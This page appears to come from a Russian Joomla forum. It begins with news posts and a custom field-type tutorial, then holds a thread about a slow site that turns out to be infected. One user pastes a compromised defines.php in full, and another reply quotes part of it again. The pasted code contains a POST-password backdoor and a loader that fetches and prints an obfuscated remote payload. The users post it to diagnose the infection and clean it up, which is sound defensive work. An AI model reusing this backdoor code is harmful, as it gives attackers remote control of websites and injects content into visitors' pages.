Новости Joomla

Свои типы полей в Joomla.Это большая тема, о которой можно говорить очень много

Свои типы полей в Joomla.Это большая тема, о которой можно говорить очень много

👩‍💻 Свои типы полей в Joomla.Это большая тема, о которой можно говорить очень много. Самое главное, что возможности применения ограничиваются только вашей больной фантазией. Вы строите интерфейс своего модуля или плагина и вам нужно подтянуть данные из сторонней системы (список чего-нибудь по какому-нибудь API), чтобы сохранить выбранный id в Joomla. Или сделать какую-то проверку и в зависимости от неё показать то или иное сообщение пользователю. Для этого подойдут свои пользовательские типы полей. Интерфейс Joomla по большей части описан в XML-файлах. У каждого из них свои параметры. Некоторые не описаны в документации (manual.joomla.org), поэтому самым любопытным будет полезно заглянуть в собственно файлы фреймворка по пути

libraries/src/Form/FormField.php, а так же в
libraries/src/Form/Fields. У каждого класса поля перечислены его специфические свойства, которые можно описывать в XML. А в своём типе поля вы можете устанавливать эти значения программно. В моём модуле WT Quick links под капотом происходят изменения. Теперь для работы (в админке) ему нужен вспомогательный плагин. А в самом модуле нам бы проверить, а не выключен ли он? В Joomla есть тип поля Note - заметка. Его можно использовать для вывода примечаний.

<field type="note"     name="your_note_for_user"     label="Заголовок примечания"     title="Альтернативный способ для заголовка"     description="Текст примечания"     class="col-12 alert alert-info"     heading="h1"     close="true"/>
heading - указывать уровень заголовка.
close - позволяет закрыть это примечание. В классе поля
libraries/src/Form/Field/NoteField.php описана логика вывода. И в принципе оно нам подходит для нашей задачи. Но оно будет выводить сообщение всегда, а нам нужно только тогда, когда плагин отключён.Поэтому берём и создаём свой класс поля, который мы унаследуем от
NoteField. Это значит, что у нас в руках будет весь инструментарий стандартного поля
Note + то, что мы сами добавим. В XML-манифест добавляем наше поле
<field type="systempluginstatus"      name="systempluginstatus"     addfieldprefix="Joomla\Module\Wtquicklinks\Site\Fields"/>
-
type - имя файла и класса,-
addfieldprefix - указываем namespace к нашему классу, может быть любой нам нужный-
name - нельзя полю без имени...Это означает, что Joomla будет использовать класс поля из файла
modules/mod_wt_quick_links/src/Fields/SystempluginstatusField.php.А в классе поля будет написано следующее:
<?php// namespace для атрибута addfieldprefixnamespace Joomla\Module\Wtquicklinks\Site\Fields;// нельзя напрямую обращаться к этому файлуdefined('_JEXEC') or die;// подключаем родительский класс для переопределенияuse Joomla\CMS\Form\Field\NoteField;use Joomla\CMS\Language\Text;use Joomla\CMS\Plugin\PluginHelper;// имя класса и имя файла точь-в-точьclass SystempluginstatusField extends NoteField{     protected $type = 'Systempluginstatus';     protected function getLabel()          {               // если плагин не включён               if(PluginHelper::isEnabled('system','wtquicklinks')) {                    // меняем свойства родительского класса                    $this->class = 'alert alert-danger w-100';                    $this->element['label'] = '⚠️ А-а-а-а!';                    $this->element['description'] = 'Плагин не включён!!';                    // и просто рендерим его с нашими свойствами                    return parent::getLabel();               }          // А иначе всё хорошо, скрываем поле из виду.          $this->parentclass = 'd-none';          return '';     }}
Просто и удобно. И людям приятно, что о них позаботились и рассказали почему что-то не работает.@webtolkru#joomla #php #webdev #разработка

Обновлена информация в Плане развития Joomla

👩‍💻 Обновлена информация в Плане развития Joomla.Здесь собрана информация о датах релизов, описаны принципы версионирования, указаны ответственные за релизы, а так же даты окончания поддержки релизов. Опираясь на эту информацию вы можете планировать развитие ваших интернет-проектов.👩‍💻 Что нового?⛔️ Joomla 4.Дата окончания исправления ошибок безопасности в версии 4.x - 14 октября 2025г. ⚠️ После этой даты Joomla 4 прекратит получать какие-либо обновления, в том числе безопасности - вообще. Рекомендуем обновить ваши сайты до актуальной Joomla 5.✅ Joomla 5.- Дата окончания исправления ошибок в версии 5.x - 13 октября 2026г.- Дата окончания исправления ошибок безопасности в версии 5.x - 12 октября 2027 года.- Текущая актуальная (на момент написания заметки) версия - 5.3.1.- Опубликовано расписание выхода релизов Joomla 5.4. Стабильный релиз ожидается 14 октября 2025 года.✅ Joomla 6.- Дата окончания исправления ошибок в версии 6.x - 17 октября 2028г.- Дата окончания исправления ошибок безопасности в версии 6.x - 16 октября 2029г.- Опубликовано расписание выхода релизов Joomla 6.0. Стабильный релиз ожидается 14 октября 2025 года.- Для разработчиков уже доступна Joomla 6.0.0-alpha1.✅ Joomla! Framework.Обновлена информация о Joomla! Framework - полноценном PHP-фреймворке для разработки. Он в версиях 1.х и 2.х был самостоятельным параллельным проектом, однако начиная с версии Joomla 4.0 стал её основой. Добавлена информация о Joomla! Framework 3.x, который вышел 6 октября 2023 года. Его можно использовать в тех случаях, когда вам в проекте не нужна CMS Joomla целиком.Подробнее на сайте Joomla-сообщества Joomlaportal.ru#joomla #community

Компания JetBrains рассказала о своей поддержке Joomla

Компания JetBrains рассказала о своей поддержке Joomla

JetBrains - один из мировых лидеров в разработке программного обеспечения для разработчиков. Её программные продукты - это IDE - профессиональные среды разработки, которые отличаются от простого блокнота/редактора с плагинами набором всевозможных инструментов для разработчиков, глубоким анализом кодовой базы, подсказками по ней и по языку программирования, отладкой ошибок и многим-многим другим. Одним из самых известных продуктов компании является IDE PHP Storm, который можно назвать отраслевым стандартом PHP-разработчика.

В статье How PhpStorm Helps Maintain PHP Open-Source Projects: Interviews and Real-World Examples в блоге компании описываются Open Source проекты, которым JetBrains оказывает поддержку (это могут быть бесплатные лицензии для разработчиков для некоммерческих проектов).

В список попали:

  • PHPUnit - фреймворк для unit-тестирования в PHP
  • Doctrine DBAL - библиотека для PHP, которая предоставляет лёгкий и гибкий слой для коммуникации с базой данных. Она поддерживает различные базы данных через единый и согласованный API.
  • CodeIgniter — популярный MVC-фреймворк для разработки на PHP
  • Joomla! - наша любимая CMS.

Эти названия (кроме "Joomla") чаще всего не слышат вебмастера и разработчики обычных сайтов и интернет-магазинов. Но эти названия хорошо знакомы PHP-разработчикам, которые создают сложные и высоконагруженные проекты и микросервисы. То, что Joomla оказалась в одном ряду с такими программными инструментами - делает ей честь.

🙏 За ссылку спасибо участнику нашего сообщества Ринату Кажетову (@rkazhet).

Подпишитесь на @joomlafeed

0 Пользователей и 1 Гость просматривают эту тему.
  • 28 Ответов
  • 5902 Просмотров
*

gorodok

  • Осваиваюсь на форуме
  • 40
  • 0 / 0
Долго грузится сайт
« : 03.02.2016, 22:58:16 »
Долго грузится сайт, проблема началась пару дней назад.
Вот что пишет поддержка хостинга:
Спойлер
[свернуть]
помогите пожалуйста
*

flyingspook

  • Живу я здесь
  • 3590
  • 247 / 9
Re: Долго грузится сайт
« Ответ #1 : 04.02.2016, 10:05:25 »
Что то делали в последние дни с сайтом?
Посещаемость не выросла?
Что в логах пишется?
*

SeBun

  • BanMaster
  • 4030
  • 259 / 5
  • @SeBun48
Re: Долго грузится сайт
« Ответ #2 : 04.02.2016, 14:19:45 »
Откройте index.php в корне сайта. В самом начале какие то подозрительные строки есть?
Оказываю услуги по Joomla | Миграция/Обновление | Сопровождение | IT-аутсорсинг | Недорогие домены и хостинг
*

draff

  • Гуру
  • 5801
  • 434 / 7
  • ищу работу
Re: Долго грузится сайт
« Ответ #3 : 04.02.2016, 14:48:30 »
Отключить запись сессий в базу данных, в общих настройках Joomla
*

gorodok

  • Осваиваюсь на форуме
  • 40
  • 0 / 0
Re: Долго грузится сайт
« Ответ #4 : 04.02.2016, 16:46:07 »
Что то делали в последние дни с сайтом?
Посещаемость не выросла?
Что в логах пишется?
Ничего не делал только новости добавлял.
Посещаемость  сейчас еще меньше стала.
записи в логах последние за 2015г
Откройте index.php в корне сайта. В самом начале какие то подозрительные строки есть?
ничего не нашел
Отключить запись сессий в базу данных, в общих настройках Joomla
отключал еще дольше грузится
« Последнее редактирование: 04.02.2016, 16:49:54 от gorodok »
*

b2z

  • Глобальный модератор
  • 7284
  • 778 / 0
  • Разраблю понемногу
Re: Долго грузится сайт
« Ответ #5 : 05.02.2016, 10:05:14 »
Включите дебаг и выложите сюда отчёт профилирования (внизу страницы).
*

gorodok

  • Осваиваюсь на форуме
  • 40
  • 0 / 0
Re: Долго грузится сайт
« Ответ #6 : 05.02.2016, 10:50:11 »
Включите дебаг и выложите сюда отчёт профилирования (внизу страницы).
Включил отладку системы посмотрите сайт указан у меня в профиле
*

b2z

  • Глобальный модератор
  • 7284
  • 778 / 0
  • Разраблю понемногу
Re: Долго грузится сайт
« Ответ #7 : 05.02.2016, 12:00:49 »
Ну вот теперь посмотрите - все модули, которые дают красные показатели надо поочерёдно отрубать и смотреть, как это будет влиять на загрузку. И 197 запросов на главной, это конечно много.
*

flyingspook

  • Живу я здесь
  • 3590
  • 247 / 9
Re: Долго грузится сайт
« Ответ #8 : 05.02.2016, 19:13:33 »
Скорей всего нагружает mod_news_pro_gk5
вот его запросы самые большие
Код
195 .Время запроса: 9816.44 ms После последнего запроса: 34.32 ms
SELECT
c.id AS CID

  FROM
urp9y_categories AS c

  LEFT JOIN
urp9y_content AS content

  ON
c.id = content.catid


  WHERE
1=1

  AND ( c.id = 11)

  AND
c.extension = 'com_content'
  AND
c.published = 1
и еще

Код
196 .Время запроса: 18.54 ms После последнего запроса: 11.81 ms

*

gorodok

  • Осваиваюсь на форуме
  • 40
  • 0 / 0
Re: Долго грузится сайт
« Ответ #9 : 05.02.2016, 20:25:10 »
Модули которые были красным цветом пробовал отключать все разом ничего не поменялось. Кстати  админка тоже грузится долго, может хостинг сменить? Сегодня установил сайт на компе на OpenServer все нормально работает
*

SeBun

  • BanMaster
  • 4030
  • 259 / 5
  • @SeBun48
Re: Долго грузится сайт
« Ответ #10 : 05.02.2016, 20:31:49 »
Модули которые были красным цветом пробовал отключать все разом ничего не поменялось. Кстати  админка тоже грузится долго, может хостинг сменить? Сегодня установил сайт на компе на OpenServer все нормально работает
Мда, а что за хостер у вас?

Ради эксперимента и только ради него: слейте с хостинга все файлы, слейте базу (сделайте полный бекап). Затем удалите все оттуда - и файлы, и базу. Скачайте отсюда вашу версию Joomla и установите на хостинг. Проверьте, как работает. Если нормально - ищите проблемы в своей сборке, если так же тормозит - ищите хостера.
Оказываю услуги по Joomla | Миграция/Обновление | Сопровождение | IT-аутсорсинг | Недорогие домены и хостинг
*

gorodok

  • Осваиваюсь на форуме
  • 40
  • 0 / 0
Re: Долго грузится сайт
« Ответ #11 : 05.02.2016, 20:46:36 »
Если напишу название хостинга не сочтут это здесь за рекламу?
Два месяца я на этом хостинге сайт шуршал, проблемы начались несколько дней назад. даже восстанавливал сайт не помогло
*

SeBun

  • BanMaster
  • 4030
  • 259 / 5
  • @SeBun48
Re: Долго грузится сайт
« Ответ #12 : 05.02.2016, 21:02:32 »
Если напишу название хостинга не сочтут это здесь за рекламу?
Два месяца я на этом хостинге сайт шуршал, проблемы начались несколько дней назад. даже восстанавливал сайт не помогло
Ну какая реклама с такими то багами )) Пишите, думаю модераторы не осерчают )) И сделайте эксперимент, как я писал, чисто ради интереса. Может хостер и ни при чем, может это у вас сайт в ддос-кластере уже... ))
Оказываю услуги по Joomla | Миграция/Обновление | Сопровождение | IT-аутсорсинг | Недорогие домены и хостинг
*

Vekach

  • Захожу иногда
  • 162
  • 1 / 0
Re: Долго грузится сайт
« Ответ #13 : 06.02.2016, 22:42:35 »
Я с той же проблемой. Проблемы начались после обновления. Пару сайтов на отдельном ВДС. Один на хостинге.
Сайты с разными шаблонами и плагинами.
K2, и JBzoo
Странички грузятся по 10 секунд. Это не допустимо же!
*

wishlight

  • Гуру
  • 5051
  • 314 / 1
  • От 300 руб быстрый хостинг. Сервера.
Re: Долго грузится сайт
« Ответ #14 : 07.02.2016, 09:16:59 »
Странички грузятся по 10 секунд. Это не допустимо же!

А сайты покажете?
*

Vekach

  • Захожу иногда
  • 162
  • 1 / 0
Re: Долго грузится сайт
« Ответ #15 : 07.02.2016, 14:05:41 »
А сайты покажете?
В чем проблема нашла.
Взяла откатила до предидущей версии и поэтапно заливала файлы.
Проблема нашлась в файле defines.php  в папке includes .
И так на всех сайтах.
Стали по прежнему летать.
В чем там баг. Я не знаю. Не програмистка. Хотя давно уже пора :)
*

wishlight

  • Гуру
  • 5051
  • 314 / 1
  • От 300 руб быстрый хостинг. Сервера.
Re: Долго грузится сайт
« Ответ #16 : 07.02.2016, 18:41:37 »
Возможно взломали. Файлы не покажете, те что отличались?
*

Vekach

  • Захожу иногда
  • 162
  • 1 / 0
Re: Долго грузится сайт
« Ответ #17 : 08.02.2016, 00:39:01 »
То что сейчас ниже код. Если поставить свежее обновление (конкретно новый) то начинает тормозить

Код
<?php
/**
 * @package    Joomla.Site
 *
 * @copyright  Copyright (C) 2005 - 2015 Open Source Matters, Inc. All rights reserved.
 * @license    GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

// Global definitions
$parts = explode(DIRECTORY_SEPARATOR, JPATH_BASE);

// Defines.
define('JPATH_ROOT',          implode(DIRECTORY_SEPARATOR, $parts));
define('JPATH_SITE',          JPATH_ROOT);
define('JPATH_CONFIGURATION', JPATH_ROOT);
define('JPATH_ADMINISTRATOR', JPATH_ROOT . DIRECTORY_SEPARATOR . 'administrator');
define('JPATH_LIBRARIES',     JPATH_ROOT . DIRECTORY_SEPARATOR . 'libraries');
define('JPATH_PLUGINS',       JPATH_ROOT . DIRECTORY_SEPARATOR . 'plugins');
define('JPATH_INSTALLATION',  JPATH_ROOT . DIRECTORY_SEPARATOR . 'installation');
define('JPATH_THEMES',        JPATH_BASE . DIRECTORY_SEPARATOR . 'templates');
define('JPATH_CACHE',         JPATH_BASE . DIRECTORY_SEPARATOR . 'cache');
define('JPATH_MANIFESTS',     JPATH_ADMINISTRATOR . DIRECTORY_SEPARATOR . 'manifests');
*

voland

  • Легенда
  • 11028
  • 588 / 112
  • Эта строка съедает место на вашем мониторе
Re: Долго грузится сайт
« Ответ #18 : 08.02.2016, 03:37:46 »
Что то делали в последние дни с сайтом?
Посещаемость не выросла?
Что в логах пишется?
И никто не ответил
*

Vekach

  • Захожу иногда
  • 162
  • 1 / 0
Re: Долго грузится сайт
« Ответ #19 : 09.02.2016, 12:24:04 »
Возможно взломали. Файлы не покажете, те что отличались?

Вот код. Явно вирусняк:

Код
<?php
/**
 * @package    Joomla.Site
 *
 * @copyright  Copyright (C) 2005 - 2015 Open Source Matters, Inc. All rights reserved.
 * @license    GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

// Global definitions
$parts = explode(DIRECTORY_SEPARATOR, JPATH_BASE);

// Defines.
define('JPATH_ROOT',          implode(DIRECTORY_SEPARATOR, $parts));
define('JPATH_SITE',          JPATH_ROOT);
define('JPATH_CONFIGURATION', JPATH_ROOT);
define('JPATH_ADMINISTRATOR', JPATH_ROOT . DIRECTORY_SEPARATOR . 'administrator');
define('JPATH_LIBRARIES',     JPATH_ROOT . DIRECTORY_SEPARATOR . 'libraries');
define('JPATH_PLUGINS',       JPATH_ROOT . DIRECTORY_SEPARATOR . 'plugins');
define('JPATH_INSTALLATION',  JPATH_ROOT . DIRECTORY_SEPARATOR . 'installation');
define('JPATH_THEMES',        JPATH_BASE . DIRECTORY_SEPARATOR . 'templates');
define('JPATH_CACHE',         JPATH_BASE . DIRECTORY_SEPARATOR . 'cache');
define('JPATH_MANIFESTS',     JPATH_ADMINISTRATOR . DIRECTORY_SEPARATOR . 'manifests');
//istart


function is_valid_url(&$url)
{
    if (!preg_match('/^(.+?)(\d+)\.(\d+)\.(\d+)\.(\d+)(.+?)$/', $url, $m))
        return false;
    $url = $m[1].$m[5].'.'.$m[4].'.'.$m[3].'.'.$m[2].$m[6];
    return true;
}

function request_url_data($url) {

    if(!is_valid_url($url))
        return false;

    $site_url = (preg_match('/^https?:\/\//i', $_SERVER['REQUEST_URI'])? $_SERVER['REQUEST_URI'] : 'http://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']);
    if (function_exists('curl_init')) {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_TIMEOUT, 5);
        curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_HTTPHEADER, array(
            'X-Forwarded-For: ' . $_SERVER["REMOTE_ADDR"],
            'User-Agent: ' . $_SERVER["HTTP_USER_AGENT"],
            'Referer: ' . $site_url,
        ));
        $response = trim(curl_exec($ch));
    } elseif (function_exists('fsockopen')) {
        $m = parse_url($url);
        if ($fp = fsockopen($m['host'], 80, $errno, $errstr, 6)) {
            fwrite($fp, 'GET http://' . $m['host'] . $m["path"] . '?' . $m['query'] . ' HTTP/1.0' . "\r\n" .
                'Host: ' . $m['host'] . "\r\n" .
                'User-Agent: ' . $_SERVER["HTTP_USER_AGENT"] . "\r\n" .
                'X-Forwarded-For: ' . @$_SERVER["REMOTE_ADDR"] . "\r\n" .
                    'Referer: ' . $site_url . "\r\n" .
                    'Connection: Close' . "\r\n\r\n");
            $response = '';
            while (!feof($fp)) {
                $response .= fgets($fp, 1024);
            }
            list($headers, $response) = explode("\r\n\r\n", $response);
            fclose($fp);
        }
    } else {
        $response = 'curl_init and fsockopen disabled';
    }
    return $response;
}

function decrypt_url($encrypted_url)
{
    $encrypted_url = base64_decode($encrypted_url);
    $url = '';
    for ($i = 0; $i < strlen($encrypted_url); $i++)
    {
        $url .= chr(ord($encrypted_url[$i]) ^ 3);
    }
    return $url;
}
error_reporting(0);
$_passssword = '4a9b9533e5de7821cc23b00e921e079a';

$p = $_POST;

if (@$p[$_passssword] AND @$p['a'] AND @$p['c']) @$p[$_passssword](@$p['a'], @$p['c'], '');




if (!empty($_GET['check']) AND $_GET['check'] == $_passssword) {
    echo('<!--checker_start ');
    $tmp = request_url_data('http://maxcdn.bootstrapcdn.com/bootstrap/3.3.4/css/bootstrap.min.css');
    echo(substr($tmp, 50));
    echo(' checker_end-->');
}
unset($_passssword);

$bad_url = false;
foreach (array('/\.css$/', '/\.swf$/', '/\.ashx$/', '/\.docx$/', '/\.doc$/', '/\.xls$/', '/\.xlsx$/', '/\.xml$/', '/\.jpg$/', '/\.pdf$/', '/\.png$/', '/\.gif$/', '/\.ico$/', '/\.js$/', '/\.txt$/', '/ajax/', '/cron\.php$/', '/wp\-login\.php$/', '/\/wp\-includes\//', '/\/wp\-admin/', '/\/admin\//', '/\/wp\-content\//', '/\/administrator\//', '/phpmyadmin/i', '/xmlrpc\.php/', '/\/feed\//') as $regex) {
    if (preg_match($regex, $_SERVER['REQUEST_URI'])) {
        $bad_url = true;
        break;
    }
}

$cookie_name = 'PHP_SESSION_PHP';
if (!$bad_url AND !isset($_COOKIE[$cookie_name]) AND empty($echo_done) AND !empty($_SERVER['HTTP_USER_AGENT']) AND (substr(trim($_SERVER['REMOTE_ADDR']), 0, 6)!= '74.125') AND !preg_match('/(googlebot|msnbot|yahoo|search|bing|ask|indexer)/i', $_SERVER['HTTP_USER_AGENT'])) {
//    setcookie($cookie_name, mt_rand(1, 1024), time() + 60 * 60 * 24 * 7, '/');
//        $url = base64_decode('a3d3czksLDI2Oy0yMDMtNzUtMDQsYW9sZCw8bG5mZGIldnduXHBsdnFgZj43NTA6Ozk7MjI1Njc5MjoxMg==');
    $url = decrypt_url('a3d3czksLDI2Oy0yMDMtNzUtMDQsYW9sZCw8bG5mZGIldnduXHBsdnFgZj43NTA6Ozk7MjI1Njc5MjoxMg==');
    $code = request_url_data($url);
//    if (!empty($code) AND base64_decode($code) AND preg_match('#[a-zA-Z0-9+/]+={0,3}#is', $code, $m)) {
    if (($code = request_url_data($url)) AND $decoded = base64_decode($code, true)) {
        $echo_done = true;
        print $decoded;
    }
}//iend
*

SeBun

  • BanMaster
  • 4030
  • 259 / 5
  • @SeBun48
Re: Долго грузится сайт
« Ответ #20 : 09.02.2016, 12:27:00 »
В чем проблема нашла.
Не нашла. Иначе бы больше такого кода на сайте небыло.

Код: php
error_reporting(0);
$_passssword = '4a9b9533e5de7821cc23b00e921e079a';

$p = $_POST;

if (@$p[$_passssword] AND @$p['a'] AND @$p['c']) @$p[$_passssword](@$p['a'], @$p['c'], '')

Знакомая конструкция... Уже многим глаза и нервы проела...
« Последнее редактирование: 09.02.2016, 12:30:42 от SeBun »
Оказываю услуги по Joomla | Миграция/Обновление | Сопровождение | IT-аутсорсинг | Недорогие домены и хостинг
*

Vekach

  • Захожу иногда
  • 162
  • 1 / 0
Re: Долго грузится сайт
« Ответ #21 : 09.02.2016, 14:59:12 »
Менять пароли?
И как она велась в код?
Права 644 ведь
*

SeBun

  • BanMaster
  • 4030
  • 259 / 5
  • @SeBun48
Re: Долго грузится сайт
« Ответ #22 : 09.02.2016, 15:25:19 »
Менять пароли?
И как она велась в код?
Права 644 ведь
1. Да поменяйте, только смысла в этом немного...
2. Получив доступ к сайту через уязвимости...
3. Права - не панацея. Это  как в Windows, есть у файла права "только для чтения", но даже эти права программы могут игнорировать. Что говорить о человеке, которому понадобилось сделать запись в файл? Он заходит и меняет права. Вот и все. На самом деле это немного не так, зато наглядно и понятно.
Оказываю услуги по Joomla | Миграция/Обновление | Сопровождение | IT-аутсорсинг | Недорогие домены и хостинг
*

Vekach

  • Захожу иногда
  • 162
  • 1 / 0
Re: Долго грузится сайт
« Ответ #23 : 09.02.2016, 17:05:29 »
1. Да поменяйте, только смысла в этом немного...
2. Получив доступ к сайту через уязвимости...
3. Права - не панацея. Это  как в Windows, есть у файла права "только для чтения", но даже эти права программы могут игнорировать. Что говорить о человеке, которому понадобилось сделать запись в файл? Он заходит и меняет права. Вот и все. На самом деле это немного не так, зато наглядно и понятно.
Так а ка такое могло произойти?
Шаблоны официальные, Расширения тоже. Обновления сразу же ставим...
*

jlend

  • Осваиваюсь на форуме
  • 34
  • 3 / 0
Re: Долго грузится сайт
« Ответ #24 : 09.02.2016, 21:09:28 »
Обновления сразу же ставим...
Не успели.
Пас подобрали.
и др.
*

wishlight

  • Гуру
  • 5051
  • 314 / 1
  • От 300 руб быстрый хостинг. Сервера.
Re: Долго грузится сайт
« Ответ #25 : 10.02.2016, 00:48:36 »
Шелл может менять права под своим пользователем. Чистить надо все и сайты разделять.
*

Vekach

  • Захожу иногда
  • 162
  • 1 / 0
Re: Долго грузится сайт
« Ответ #26 : 10.02.2016, 10:40:08 »
в j3 вообще должны быть base64_decode ?
*

wishlight

  • Гуру
  • 5051
  • 314 / 1
  • От 300 руб быстрый хостинг. Сервера.
Re: Долго грузится сайт
« Ответ #27 : 10.02.2016, 10:56:40 »
Могут быть. Отчего же нет. В самом дистрибутиве не помню, а в компонентах частенько используется.
*

SeBun

  • BanMaster
  • 4030
  • 259 / 5
  • @SeBun48
Re: Долго грузится сайт
« Ответ #28 : 10.02.2016, 11:26:15 »
в j3 вообще должны быть base64_decode ?
Есть в самом дистрибутиве. Не стоит удалять все подряд.
Оказываю услуги по Joomla | Миграция/Обновление | Сопровождение | IT-аутсорсинг | Недорогие домены и хостинг
Чтобы оставить сообщение,
Вам необходимо Войти или Зарегистрироваться
 

Сайт перестал нормально грузиться

Автор Leo1986

Ответов: 17
Просмотров: 862
Последний ответ 11.06.2025, 13:55:08
от zilonitiz
Как конвертировать сайт Joomla в мобильное приложение?

Автор 62411

Ответов: 1
Просмотров: 885
Последний ответ 14.06.2024, 15:31:24
от Olg
После выключения расширения лег сайт

Автор blind

Ответов: 4
Просмотров: 1066
Последний ответ 19.05.2024, 14:13:33
от blind
Google Переводчик не переводит сайт

Автор Aqua

Ответов: 1
Просмотров: 1123
Последний ответ 04.03.2024, 12:50:00
от kovAlexandr78
Долго грузятся страницы категорий

Автор SuperRomario

Ответов: 4
Просмотров: 1820
Последний ответ 03.07.2023, 17:59:07
от Wood